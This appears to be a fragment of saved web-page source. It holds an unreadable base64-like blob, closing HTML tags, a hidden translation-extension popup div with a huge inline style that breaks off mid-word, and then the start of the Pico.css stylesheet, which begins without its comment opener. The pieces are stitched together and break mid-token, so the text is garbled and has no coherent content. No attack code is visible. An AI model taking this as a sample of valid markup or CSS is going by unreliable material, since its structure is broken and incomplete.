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
</div>
</article>
</div>
</div>
</div>
<div id=immersive-translate-popup style=color-scheme:initial;forced-color-adjust:initial;mask:initial;math-depth:initial;position:initial;position-anchor:initial;text-size-adjust:initial;appearance:initial;color:initial;font:initial;font-palette:initial;font-synthesis:initial;inset-area:initial;text-orientation:initial;text-rendering:initial;text-spacing-trim:initial;-webkit-font-smoothing:initial;-webkit-locale:initial;-webkit-text-orientation:initial;-webkit-writing-mode:initial;writing-mode:initial;zoom:initial;accent-color:initial;place-content:initial;place-items:initial;place-self:initial;alignment-baseline:initial;anchor-name:initial;animation-composition:initial;animation:initial;app-region:initial;aspect-ratio:initial;backdrop-filter:initial;backface-visibility:initial;background:initial;background-blend-mode:initial;baseline-shift:initial;baseline-source:initial;block-size:initial;border-block:initial;border:initial;border-radius:initial;border-collapse:initial;border-end-end-radius:initial;border-end-start-radius:initial;border-inline:initial;border-start-end-radius:initial;border-start-start-radius:initial;inset:initial;box-shadow:initial;box-sizing:initial;break-after:initial;break-before:initial;break-inside:initial;buffered-rendering:initial;caption-side:initial;caret-color:initial;clear:initial;clip:initial;clip-path:initial;clip-rule:initial;color-interpolation:initial;color-interpolation-filters:initial;color-rendering:initial;columns:initial;column-fill:initial;gap:initial;column-rule:initial;column-span:initial;contain:initial;contain-intrinsic-block-size:initial;contain-intrinsic-size:initial;contain-intrinsic-inline-size:initial;container:initial;content:initial;content-visibility:initial;counter-increment:initial;counter-reset:initial;counter-set:initial;cursor:initial;cx:initial;cy:initial;d:initial;display:none!important;dominant-baseline:initial;empty-cells:initial;field-sizing:initial;fill:initial;fill-opacity:initial;fill-rule:initial;filter:initial;flex:initial;flex-flow:initial;float:initial;flood-color:initial;flood-opacity:initial;grid:initial;grid-area:initial;height:initial;hyphenate-character:initial;hyphenate-limit-chars:initial;hyphens:initial;image-orientation:initial;image-rendering:initial;initial-letter:initial;inline-size:initial;inset-block:initial;inset-inline:initial;isolation:initial;letter-spacing:initial;lighting-color:initial;line-break:initial;list-style:initial;margin-block:initial;margin:initial;margin-inline:initial;marker:initial;mask-type:initial;math-shift:initial;math-style:initial;max-block-size:initial;max-height:initial;max-inline-size:initial;max-width:initial;min-block-size:initial;min-height:initial;min-inline-size:initial;min-width:initial;mix-blend-mode:initial;object-fit:initial;object-position:initial;object-view-box:initial;offset:initial;opacity:initial;order:initial;orphans:initial;outline:initial;outline-offset:initial;overflow-anchor:initial;overflow-clip-margin:initial;overflow-wrap:initial;overflow:initial;overlay:initial;overscroll-behavior-block:initial;overscroll-behavior-inline:initial;overscroll-behavior:initial;padding-block:initial;padding:initial;padding-inline:initial;page:initial;page-orientation:initial;paint-order:initial;perspective:initial;perspective-origin:initial;pointer-events:initial;position-try:initial;position-visibility:initial;quotes:initial;r:initial;resize:initial;rotate:initial;ruby-align:initial;ruby-position:initial;rx:initial;ry:initial;scale:initial;scroll-behavior:initial;scroll-margin-block:initial;scroll-margin:initial;scroll-margin-inline:initial;scroll-padding-block:initial;scroll-padding:initial;scroll-padding-inline:initial;scroll-snap-align:initial;scroll-snap-stop:initial;scroll-snap-type:initial;scroll-timeline:initial;scrollbar-color:initial;scrollbar-gutter:initial;scrollbar-width:initial;shape-image-threshold:initial;shape-margin:initial;shape-outside:initial;shape-rendering:initial;size:initial;speak:initial;stop-color:initial;stop-opacity:initial;stroke:initial;stroke-dasharray:initial;stroke-dashoffse
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c